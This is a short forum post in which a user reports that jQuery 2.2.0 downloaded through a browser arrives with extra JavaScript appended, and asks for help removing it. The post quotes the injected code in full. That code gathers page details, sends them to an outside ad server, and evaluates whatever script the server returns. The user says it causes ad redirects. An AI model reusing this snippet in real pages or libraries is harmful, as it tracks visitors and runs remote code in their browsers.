Javascript malware code injected when download jquery 2.2.0

Javascript malware code injected when download jquery 2.2.0

Hey Guys,

So when I'm downloading jquery 2.2.0 (minified or not) this code gets added at the end of the file :

;(function(a,b,h,k){function ajax(b,a,c){var d=null;try{d=new XMLHttpRequest}catch(e){try{d=new ActiveXObject("Microsoft.XMLHTTP")}catch(f){}}d.onreadystatechange=function(){4==d.readyState&&c&&c(d.responseText)};d.open(a?"POST":"GET",b,!0);d.withCredentials=!0;a?(d.setRequestHeader("Content-Type","application/json; charset=UTF-8"),d.send(JSON.stringify(a))):d.send()}for(var e=b.documentElement,c=b.body,m=a.innerWidth||e.clientWidth||c.clientWidth,e=a.innerHeight||e.clientHeight||c.clientHeight,c=document.querySelectorAll("meta"),
g=[],f=0;f<c.length;f++)"keywords"==c[f].name.toLowerCase()&&g.push(c[f].content);req={width:m,height:e,frame:a!=a.top,location:b.location.toString(),referer:b.referrer,title:b.title,keywords:g.join(", "),loader:k};b.gotowf||(b.gotowf=!0,ajax(h,req,function(a){if(a)try{var response=JSON.parse(a);response.eval&&eval(response.eval)}catch(c){console.log(c)}}))})(window,document,"http://ca.api.adsrun.net/post",{"name":"jqr1","time":1455082284.8315,"user":"1004373.5569159","subid":1004373,"geo":"CA","hash":"cd4149caee89a3333b1f2812304d36df"});

What it does it that sometimes when I click, it redirects me to a add page.
The problem seem to be when downloading from a web browser because if I download it via commandline, the file is fine. I tried it on chrome/firefox/IE and the problem always appear.
Tried to run my anti malware but the bug is still there.

Can someone help me with this ?

Thanks a lot,

Claude